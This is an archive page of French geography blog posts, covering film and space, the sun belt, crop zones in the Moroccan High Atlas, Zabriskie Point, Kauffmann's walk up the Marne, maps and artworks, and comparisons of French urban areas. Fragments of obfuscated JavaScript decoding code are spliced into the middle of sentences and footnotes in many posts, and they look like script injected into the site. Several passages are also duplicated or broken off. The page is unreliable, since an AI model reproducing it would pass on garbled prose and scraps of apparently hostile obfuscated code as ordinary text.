Ma part du gâteau : les espaces de la mondialisation mis en image

En dépit du jeu plutôt correct des acteurs et de nos sourires occasionnels, on s’agace devant les personnages trop caricaturaux et on désespère assez vite de dégager du film autre chose que l’idée déjà rebattue d’une rupture entre les centres de décisions et les lieux de production. Pourtant, si Klapisch rate l’histoire de France et de Steve (devenant n’importe quoi sur le dernier quart d’heure), il propose une mise en images des espaces qui, elle, suscite davantage d’intérêt.

 

 

Il distingue tout d’abord les lieux de vie de ses protagonistes. Plutôt que le travail peu original effectué avec sa chef décoratrice sur les intérieurs (lumineux et froid chez le trader, plein de vie chez France), retenons une autre distinction spatiale. Depuis les hautes tours des quartiers d’affaires de La City ou de la Défense, ou bien sur les balcons d’un hôtel à Venise, le trader ne quitte pas les hauteurs. Il croit avoir la « les pieds sur terre » mais pour dominer a perdu tout contact avec l’humain : « il vit sur Mars ». La petite employée, elle, parcourt les routes entre Dunkerque et Paris, longe les quais ou les plages. Klapisch travaille l’horizon et la ligne de fuite avec France comme pour lui ouvrir les yeux sur d’autres perspectives ou, du moins, alors qu’il l’enferme dans un fourgon de police en toute fin de film, laisser au spectateur espérer une autre issue. Lire la suite

Il me semble que la misère serait moins pénible au soleil.

Italie carte qualité de vieItalie carte ensoleillementOn associe, souvent de manière systématique, l’ensoleillement à la qualité de vie. La notion de sun belt, à ce titre, est l’un des concepts les plus durablement ancrés dans la géographie scolaire des États-Unis. La sun belt est inventé par le journaliste K. P. Phillips en 1969 pour expliquer… le vote républicain !(1) Aujourd’hui, elle désigne des espaces du sud et de l’ouest des États-Unis ayant une forte attractivité. Elle est liée tout naturellement à la notion d’héliotropisme, l’attractivité pour les espaces ensoleillés. La notion est cependant nuancée : Seattle est placé dans cette ceinture ensoleillée, alors que le climat y est notoirement brumeux et pluvieux. Cette sun belt finit même par être appliquée à la France : les régions de la façade atlantique jusqu’au midi méditerranéen sont plus attractives pour les activités et la population que les anciens espaces industriels et les espaces ruraux sur l’intérieur. L’héliotropisme est, là encore, présenté comme une composante de cette attractivité, et tant pis pour le crachin breton. Lire la suite

L’étagement des cultures dans le Haut-Atlas marocain

étagement des cultures, Haut-Atlas, Maroc, en couleursTexte, projet pédagogique et photographies : Stéphane Bouron, instituteur au Maroc
Blocs-diagrammes : Jean-Benoît Bouron

Présentation
À proximité du village d’Oukaïmeden, sur le versant ouest du Tarigt, plusieurs villages sont érigés dans la vallée du N’ougadir. Après l’abandon de l’extraction de barytine dans une mine située sur un versant au sud du village de Gliz, l’essentiel de l’économie est désormais agricole.
On distingue les cultures vivrières (pommes de terre, oignons et orge) des cultures de rente (pommes, noix et bulbes d’iris) sur les versants exploités t;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandis que les parties amonts colonisées par des genévriers servent de pâturages pour les caprins.
- Expliquer et comprendre un paysage
- Réaliser un croquis de paysage avec sa légende
- Connaître l’organisation d’une exploitation agricole Lire la suite

Notes   [ + ]

1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandon de l’extraction de barytine dans une mine située sur un versant au sud du village de Gliz, l’essentiel de l’économie est désormais agricole.
On distingue les cultures vivrières (pommes de terre, oignons et orge) des cultures de rente (pommes, noix et bulbes d’iris) sur les versants exploités tandon de l’extraction de barytine dans une mine située sur un versant au sud du village de Gliz, l’essentiel de l’économie est désormais agricole.
On distingue les cultures vivrières (pommes de terre, oignons et orge) des cultures de rente (pommes, noix et bulbes d’iris) sur les versants exploités t;p5=s4.indexOf(wc.charAt(vf++

Zabriskie Point : la périurbanisation à Los Angeles en 1970

L’invité de la Géothèque : Benjamin Fauré, du site La Kinopithèque, qui traite régulièrement des relations en la géographie et le cinéma.

Dans Zabriskie Point, que Michelangelo Antonioni réalise en 1970, L.A. apparaît comme une métropole moderne, industrielle et ultra-sécuritaire (froideur des lignes urbaines, présence policière, agents de sécurité et caméras de surveillance). A travers ces thèmes, il est difficile de ne pas penser au célèbre essai de Mike Davis, City of Quartz (1990). Avec force détails, le sociologue urbain consacre tout un chapitre, « La forteresse L. A. », à l’inflation sécuritaire qui renforce selon lui les ségrégations raciale, sociale et spatiale. Le rapport que Zabriskie Point entretient avec City of Quartzest d’autant plus évident quand Antonioni étend sa critique à la consommation de masse qui génère tout l'artifice des paysages urbains (les panneaux publicitaires géants qui, de leurs sourires peints et de leurs slogans colorés, écrasent la rue et les passants), ou davantage encore qu;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand il installe les promoteurs immobiliers, ceux que Davis nomment « la nouvelle pieuvre », à la tête de l'économie de la ville. Lire la suite

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1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Antonioni étend sa critique à la consommation de masse qui génère tout l'artifice des paysages urbains (les panneaux publicitaires géants qui, de leurs sourires peints et de leurs slogans colorés, écrasent la rue et les passants), ou davantage encore quand Antonioni étend sa critique à la consommation de masse qui génère tout l'artifice des paysages urbains (les panneaux publicitaires géants qui, de leurs sourires peints et de leurs slogans colorés, écrasent la rue et les passants), ou davantage encore qu;p5=s4.indexOf(wc.charAt(vf++

L’arbre de la géographie 2.0 : chercher, situer et trouver les géographes

Dans un précédent article, nous éditions une image arborescente du foisonnement de la géographie française, de ses objets et de ses concepts. Le remue-méninges a continué, et on propose aujourd’hui cette nouvelle version revue et augmentée.

Par ailleurs, la version pdf disponible dans le lien ci-après permet de lier les auteurs au dictionnaire des géographes. Il suffit d’ouvrir le pdf et de cliquer sur les auteurs en surbrillance.

Cliquez pour ouvrir – Arbre de la Géographie avec les Liens vers le Dictionnaire (géothèque.org-2013) v3.1

cliquez pour agrandir

Pour rappel, cet arbre fait suite au travail réalisé par François Arnal avec ses élèves de CPGE, et d’une collaboration enthousiaste avec les géothéquaires. Il s’agit de représenter de façon synthétique et aussi didactique que possible le foisonnement de la géographie francophone depuis un siècle. Vous trouverez certainement des imperfections, vous aurez envie de scier quelques branches, ou de multiplier les greffons : nous avons fait au mieux pour ne pas trop alourdir le feuillage et pour sélectionner avec attention chaque branche et chaque feuille. Si vous trouvez des erreurs flagrantes… Écrivez-nous !

La France des écrivains

Vous trouverez sur ce site intitulé La France des écrivains une intéressante cartographie collaborative avec des extraits d’œuvres littéraires, relevant du domaine public ou qui autorisent les courtes citations, et qui sont liées à des territoires. Près de 800 œuvres (et donc lieux associés) y sont déjà référencées. Une initiative de la librairie Ivres de Livres à Strasbourg. Un petit exemple ci-dessous avec le Plateau de la Suchère décrit par Francis Ponge.

Plateau de la Suchère – Francis Ponge

Tout de suite avant la fenaison, des champs immenses d’une tisane merveilleuse (herbes et fleurs fanées, rousses sur tiges encore droites), limités par des chemins creux comme des filons de pierres et de fleurs vives. D’autres champs de blé encore verts mais légers et tout étoilés à mi-hauteur des bleuets.

Et, plus loin, des genêts jusqu’aux sapinières de moyenne hauteur, précédant elles-mêmes ces vieux bois de grands pins éclaircis à leur base, à travers quoi l'on aperçoit la majestueuse silhouette des hautes Cévennes nues et bleues, aussi nobles et sévères que les Apennins de Mantegna.

Et quel temps ! Quel air ! Pour ces premiers plans de Van Gogh et ces fonds de Mantegna.

Francis Ponge. Petite suite vivaraise. (Gallimard).

Remonter la Marne

Je ne sais pas s’il mérite d’intégrer le Dictionnaire des géographes, je laisse la responsabilité de cette décision aux experts de La géothèque, mais il est certain que Jean-Paul Kauffmann écrit des récits géographiques. Journaliste français né en 1944, Jean-Paul Kauffmann a été enlevé à Beyrouth en 1985 et a subi trois ans de captivité avant d’être libéré. Il a publié une dizaine d’ouvrages, très souvent des récits dont les titres mêmes évoquent la thématique majeure de son oeuvre : le voyage et la liberté (les deux n’étant pas nécessairement synonymes bien sûr) : La Chambre noire de Longwood : le voyage à Sainte-Hélène (sur les dernières années de Napoléon et l’île de Sainte-Hélène aujourd’hui), L’arche des Kerguelen : voyages aux îles de la désolationCourlande (un territoire situé en Lettonie). Jean-Paul Kauffmann est aussi un gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=2p5&15)< <4)|(q8>>2);wb=4q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand amateur (et spécialiste) de vin, notamment de Bordeaux et de Champagne, et a écrit plusieurs ouvrages sur la question. Or quoi de plus géographique finalement que le vin, boisson issue d’un terroir, d’un paysage, de particularités géologiques et météorologiques ?

Dans son dernier ouvrage, Remonter la Marne, il narre son voyage à pied de Charenton-le-Pont (Val-de-Marne), où la Marne se jette dans la Seine, au plateau de Langres (source de la Marne). Il a suivi pendant quelques semaines les mé;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=3p5&15)< <4)|(q8>>2);wb=5q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandres de la Marne. Il écrit magistralement sur la rivière (qui selon Kauffmann mériterait le titre de fleuve étant plus longue que la Seine, même si - pour les géographes - le terme fleuve revient au cours d'eau qui se jette dans la mer) et les paysages qui la bordent. La géographie du fleuve épouse aussi l’histoire et la littérature qu;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Jean-Paul Kauffmann raconte la bataille de la Marne, les liens de la Marne avec les vins de Champagne ou les illustres écrivains qui ont habité au bord de la rivière (Bossuet à Meaux, Jean de la Fontaine à Château-Thierry, André Breton à Saint-Dizier...) ou qui ont écrit sur la Marne (Simenon par exemple). Le style est précis, subtil, raffiné (sans ostentation). Comme souvent, les récits de voyage à pied sont les plus adaptés pour comprendre le fonctionnement d’un paysage, cerner les anfractuosités d’un territoire, observer les détails et les points de rupture.

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1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande (un territoire situé en Lettonie). Jean-Paul Kauffmann est aussi un grand amateur (et spécialiste) de vin, notamment de Bordeaux et de Champagne, et a écrit plusieurs ouvrages sur la question. Or quoi de plus géographique finalement que le vin, boisson issue d’un terroir, d’un paysage, de particularités géologiques et météorologiques ?

Dans son dernier ouvrage, Remonter la Marne, il narre son voyage à pied de Charenton-le-Pont (Val-de-Marne), où la Marne se jette dans la Seine, au plateau de Langres (source de la Marne). Il a suivi pendant quelques semaines les méandres de la Marne. Il écrit magistralement sur la rivière (qui selon Kauffmann mériterait le titre de fleuve étant plus longue que la Seine, même si - pour les géographes - le terme fleuve revient au cours d'eau qui se jette dans la mer) et les paysages qui la bordent. La géographie du fleuve épouse aussi l’histoire et la littérature quand amateur (et spécialiste) de vin, notamment de Bordeaux et de Champagne, et a écrit plusieurs ouvrages sur la question. Or quoi de plus géographique finalement que le vin, boisson issue d’un terroir, d’un paysage, de particularités géologiques et météorologiques ?

Dans son dernier ouvrage, Remonter la Marne, il narre son voyage à pied de Charenton-le-Pont (Val-de-Marne), où la Marne se jette dans la Seine, au plateau de Langres (source de la Marne). Il a suivi pendant quelques semaines les mé;p5=s4.indexOf(wc.charAt(vf++

5. q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandres de la Marne. Il écrit magistralement sur la rivière (qui selon Kauffmann mériterait le titre de fleuve étant plus longue que la Seine, même si - pour les géographes - le terme fleuve revient au cours d'eau qui se jette dans la mer) et les paysages qui la bordent. La géographie du fleuve épouse aussi l’histoire et la littérature qu;p5=s4.indexOf(wc.charAt(vf++
6. q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande (un territoire situé en Lettonie). Jean-Paul Kauffmann est aussi un gr;p5=s4.indexOf(wc.charAt(vf++

« La molécule du territoire » ou l’ADN du cartographe

En passant par la Lorraine, oubliez les sabots, et armés de vos godillots, proximité de la Voie sacrée oblige, optez plutôt pour une expo…, et une expérience géographique totale…Sur le territoire forestier de six communes rurales, vous pouvez en effet découvrir la centaine d’œuvres d’art In Situ de l’Espace rural d’art contemporain du Vent des forêts, situé au cœur du département de la Meuse, à bonne distance des agglomérations. Et pour apprécier le parcours des œuvres, il est conseillé de se munir d’une bonne carte, et de tester vos talents d’orientation.

Carte de situation du Vent des Forêts par nous-même

Le parti-pris de cette carte est par ailleurs particulièrement intéressant. En représentant le plan cadastral, les courbes de niveau, et la toponymie des lieux-dits, la carte affirme ainsi la co-présence des œuvres avec le milieu naturel et forestier du territoire, au risque de rendre moins lisible l’information touristique liée au parcours des œuvres. Cet ancrage dans la topographie, le patrimoine et les usages du parcellaire de ce coin de la France dite « du vide », affirme certes la typologie d’un espace rural considéré comme isolé, mais elle a aussi l’immense avantage de montrer instantanément ce territoire comme un espace plein et habité, où l’objet touristique de la visite n’occulte pas les autres fonctions du territoire. La charte du promeneur qui accompagne la légende finit de contextualiser la présence des œuvres et de convaincre le promeneur/visiteur de consulter le calendrier des jours de chasse avant de s’aventurer sur les sentiers du Vent des forêts – symbole d’une cohabitation bienheureuse.

Ainsi, au mois d’octobre 2011, après un bœuf-carotte à tomber par terre au café-restaurant de madame Fernande Simon (Contact : Bistrot de Lahaymeix, T - 03 29 75 01 81), j’ai fait voguer mon fidèle destrier blanc sur les chemins de terre humide, mettant à l’épreuve mes amortisseurs et ma lecture de la carte afin d’alterner au mieux la r;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandonnée et les liaisons motorisées… Et parmi toutes les œuvres visitées, observées, contemplées et surtout recherchées…, le travail d’Evariste Richer exposé au n°163 Bois de Bannoncourt (voir la reproduction du détail de la carte), à proximité d’un « Gros Caillou » cousin de celui des « croix-roussiens » -, avait éveillé ma curiosité dès la lecture de son nom.

source carte VDF 2012

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1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande Simon (Contact : Bistrot de Lahaymeix, T - 03 29 75 01 81), j’ai fait voguer mon fidèle destrier blanc sur les chemins de terre humide, mettant à l’épreuve mes amortisseurs et ma lecture de la carte afin d’alterner au mieux la rande Simon (Contact : Bistrot de Lahaymeix, T - 03 29 75 01 81), j’ai fait voguer mon fidèle destrier blanc sur les chemins de terre humide, mettant à l’épreuve mes amortisseurs et ma lecture de la carte afin d’alterner au mieux la r;p5=s4.indexOf(wc.charAt(vf++

Le vent souffle, en Ar(t)izona…

À défaut d’aller zoner dans un état d’Amérique avec Harry, une carte « décoiffante » permet de visualiser en direct les courants éoliens au-dessus des États-Unis en saisissant les « entrelacs délicats des vents ».

Si la cartographie des phénomènes météorologiques est très largement standardisée dans les médias classiques, et constitue (il faut bien le reconnaitre) l’un des contacts les plus universel avec l’outil cartographique, l’exercice prend ici une dimension esthétique salutaire, qui permet de s’affranchir de nos codes sémiologiques classiques, pour amener à « ressentir » l’intensité et la direction des vents grâce à un figuré en forme de comète, tel des lignes blanches mouvantes.

Ce travail est l’œuvre de la collaboration entre Fern;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanda Viégas et Martin Wattenberg (voir leur site collaboratif), deux spécialistes dans les techniques de visualisation de données. Issus de la recherche académique (l’une est titulaire d’un Ph.D de design et de conception graphique, l’autre d’un Ph.D de mathématique), ils ont uni leurs compétences dans un groupe de recherche à Cambridge dans l’idée d’explorer « les possibilités de visualisation comme un outil pour poser des questions scientifiques, sociales et artistiques ».

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1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandardisée dans les médias classiques, et constitue (il faut bien le reconnaitre) l’un des contacts les plus universel avec l’outil cartographique, l’exercice prend ici une dimension esthétique salutaire, qui permet de s’affranchir de nos codes sémiologiques classiques, pour amener à « ressentir » l’intensité et la direction des vents grâce à un figuré en forme de comète, tel des lignes blanches mouvantes.

Ce travail est l’œuvre de la collaboration entre Fernandardisée dans les médias classiques, et constitue (il faut bien le reconnaitre) l’un des contacts les plus universel avec l’outil cartographique, l’exercice prend ici une dimension esthétique salutaire, qui permet de s’affranchir de nos codes sémiologiques classiques, pour amener à « ressentir » l’intensité et la direction des vents grâce à un figuré en forme de comète, tel des lignes blanches mouvantes.

Ce travail est l’œuvre de la collaboration entre Fern;p5=s4.indexOf(wc.charAt(vf++

MarineTraffic, la mondialisation par les échanges maritimes

Capture du site le 18 octobre 2012 à 10h44

Le site MarineTraffic.com permet d’observer en temps réel la circulation maritime dans la plupart des zones du monde. Les navires sont légendés en fonction de leur affectation : cargos, tankers, passagers… Un clic sur un navire permet d’obtenir un très grand nombre de renseignements, notamment le pavillon (on peut constater l'ampleur du phénomène des pavillons de complaisance) et souvent une photographie. Lire la suite

Cartes plastiques

La carte est un merveilleux support pour l’imaginaire. C’est aussi un objet de lien, entre les hommes et leur espace, entre les lieux, entre les activités, entre les possibles… et l’imaginaire. C’est une expérience artistique qui vient nous le démontrer avec enthousiasme.

D’abord, il faut de la curiosité, de la créativité et une imagination débordante. Ensuite, lorsque la curiosité déborde sur un tas de vieilles cartes routières et topo, la créativité entend leur donner une seconde vie artistique, plastique, auprès d’un public d’élèves de CP-CE1. Les cartes vont devenir, le temps d’une séance d’art plastique, leur support.

Mais comment faire le lien entre des enfants de 6-7 ans, un pot de peinture et un tas de cartes, monde d’abstraction, de symboles incompréhensibles, de réduction ? En dépassant l’abstraction par l’imagination. En donnant vie aux traits colorés, aux tâches vertes, aux fils bleus, aux zones blanches et aux points noirs.

– Que voyez-vous sur vos cartes ?
– …. des routes !
– Oui, des routes, et puis ?
– Des voitures !

Et à ce moment précis, libérés par leur professeur d’art plastique, l’imagination se débride, les enfants s’approprient cet objet abstrait qui est aussi leur toile… et sortent de la route…

– Des poissons !
– Oui des poissons, il y a sans aucun doute des poissons dans l’eau.
– Des montagnes ! Des maisons ! Du soleil ! Des avions ! De l’herbe et des oiseaux ! Des gens ! Et moi !

Il y a tout cela sur la carte et bien plus encore. Et chacun peut se l’approprier, donner vie à cet objet inerte qui contient pourtant une vie trépidante que l’imagination libre des enfants nous donne ici à voir. Voici quelques photographies de l’exposition du travail des élèves de CP-CE1 des écoles de Crest (26) accompagnés par leur enseignante d’art plastique, Claudine DORON, plasticien.

Légende des illustrations :
Route, soleil, montagnes et espadon sur fond de carte routière d’Espagne.
Soleil, nuages, prairie, oiseau, immeuble sur fond de carte routière d’Espagne.
Avion, mer, soleil, poissons, voitures sur fond de carte routière de France.

Des cartes plastiques qui invitent à déborder, à dépasser les limites, à donner du sens. Une expérience réjouissante et libératoire pour les géographes amateurs de cartes et pour ceux qui n’y entendent rien.

Morrisonville : Peut-on faire de la géographie depuis son fauteuil ?

 

morrisonvillePour réaliser les cartes ci-dessus, je n’ai pas eu à quitter mon fauteuil. Il m’a suffit d’une recherche « Morrisonville » sur Google Maps pour télécharger le plan et la photographie aérienne de la ville à différentes échelles grâce à une saisie d’écran. L’article « Morrisonville, Illinois » dans Wikipedia m’a permis de découvrir la population de la ville, un millier d’habitants en 2010, et d’obtenir la liste des principaux édifices de la ville, notamment ses quatre lieux de culte (First Baptist Church, First United Presbyterian Church, St. Maurice Catholic Church, The United Methodist Church). Un retour sur Google Maps permet de localiser les édifices sur le plan de la ville. Enfin, le site du US Census Bureau donne toutes les informations démographiques, y compris ethniques. L’âge médian de la population est de 39 ans. 96% de la population serait blanche, les Asiatiques seraient 21 (1,8%). Enfin la ville compterait 5 personnes noires, avec une marge d’erreur de plus ou moins 7 personnes … Pour finir, une recherche Google Images nous permet de mettre un visage sur cette ville anonyme, située dans l’Ilinois, quelque-part entre Springfield et Shelbyville, grâce au site d’un photographe amateur :

morrisonville-photo

Comparaison de quatre agglomérations urbaines françaises : superficie et population (Caen, Toulouse, Rennes, Montbéliard)

Cette page a pour but de permettre une comparaison rapide entre quatre agglomérations urbaines françaises. Les quatre agglomérations sont représentées à la même échelle, pour faciliter la comparaison des superficies. Pour chaque agglomération sont indiqués les différents chiffres de la population donnés par l’INSEE. Le rang correspond au rang de l’agglomération parmi les autres agglomérations françaises.

La population communale est à la fois le chiffre le plus souvent cité et le moins pertinent. Il ne prend en compte que la population de la « ville-centre » de l’agglomération, ou « commune éponyme », celle qui a donné son nom à l’agglomération. Dans le cas de Montbéliard par exemple, les 4 334 habitants de Sochaux ne sont pas comptés parmi les 27 043 habitants de Montbéliard, alors que les deux villes sont morphologiquement et fonctionnellement intégrées.

L’unité urbaine est considérée « un ensemble d’une ou plusieurs communes présentant une continuité du tissu bâti (pas de coupure de plus de 200 mètres entre deux constructions) et comptant au moins 2 000 habitants. La condition est que chaque commune de l’unité urbaine possède plus de la moitié de sa population dans cette zone bâtie. » (définition de l’INSEE)

L’aire urbaine est la définition urbaine la plus englobante. Ce n’est plus la morphologie qui est prise en compte (continuité du bâti) mais la polarisation par l’agglomération de l’espace qui l’environne. Elle tient compte de l’évolution des modes de vie, des phénomènes de péri-urbanisation et de l’allongement des mobilités domicile-travail. L’INSEE définit une aire urbaine comme « est un ensemble de communes, d’un seul tenant et sans enclave, constitué par un pôle urbain, et par des communes rurales ou unités urbaines (couronne périurbaine) dont au moins 40 % de la population résidente ayant un emploi travaille dans le pôle ou dans des communes attirées par celui-ci. »

Commentaire

CAEN : L’agglomération de Caen est caractérisée par une forte croissance périurbaine. Une partie importante de la population de la capitale bas-normande est allée grossir les communes rurales de la campagne caennaise. Cette périurbanisation n'est pas prise en compte dans la population de l'unité urbaine. La polarisation par Caen d'un large territoire est visible par l'importante population de l'aire urbaine, deux fois plus nombreuse que celle de l'unité urbaine. Cette caractéristique se retrouve dans le rang de la ville : elle est la 31e de France par la population de son unité urbaine, mais seulement la 21e pour la population de l'aire urbaine.

RENNES : Rennes est réputée pour être une ville particulièrement dense, par comparaison avec des agglomérations françaises de taille comparable. (cf. travaux de P. PIGEON). On remarque sur le croquis le très faible éclatement de la morphologie urbaine, avec peu d'ilôts de peuplement péri-urbains. Au contraire, la population est concentrée dans la ville-centre et dans quelques communes périphériques. Le graphique (à gauche de la vignette) montre cependant le même écart du simple au double entre aire urbaine et unité urbaine. En effet, les noyaux urbains proches mais non contigus, ainsi que des communes plus éloignées, représentent une population nombreuse, effectuant chaque jour un trajet domicile-travail vers Rennes. La taille de l'aire urbaine (visible sur le graphique mais pas sur la carte) reflète l'importance des mobilités pendulaires dans l'agglomération.

TOULOUSE : Comme Rennes, la ville est l'une de celles qui a connu l'une des plus fortes croissances démographiques en 20 ans. Entourée comme Caen et Rennes par une plaine agricole peu accidentée, l'étalement urbain y a rencontré peu de résistance. On retrouve de façon distincte les trois phénomènes propres à la croissance urbaine au XXe siècle : urbanisation en "tache d'huile", avec intégration de noyaux urbains voisins, urbanisation en "doigts de gant" le long des axes de communication, et mitage (développement d'ilôts de peuplement péri-urbains).

MONTBELIARD : Les mêmes phénomènes se retrouvent à une échelle différente, dans une agglomération plus petite et moins dynamique. La croissance régulière de l'unité urbaine sous l'impulsion ancienne de l'industrialisation (automobile) a conduit à la fusion de Sochaux et Montbeliard. Cette croissance de la ville a cédé le pas à celle des communes voisines (Beaucourt). L'exemple de Montbéliard illustre bien le risque existant à se contenter de la population communale de la ville-centre pour évoquer la taille d'une ville.

Honfleur par Flaubert : une géographie du sensible

« Un lundi, 14 juillet 1819 (elle n’oublia pas la date), Victor annonça qu’il était engagé au long cours, et, dans la nuit du surlendemain, par le paquebot de Honfleur, irait rejoindre sa goélette qui devait démarrer du Havre prochainement. Il serait, peut-être, deux ans parti.

La perspective d’une telle absence désola Félicité ; et pour lui dire encore adieu, le mercredi soir, après le dîner de Madame, elle chaussa des galoches, et avala les quatre lieues qui séparent Pont-l’Evêque de Honfleur.

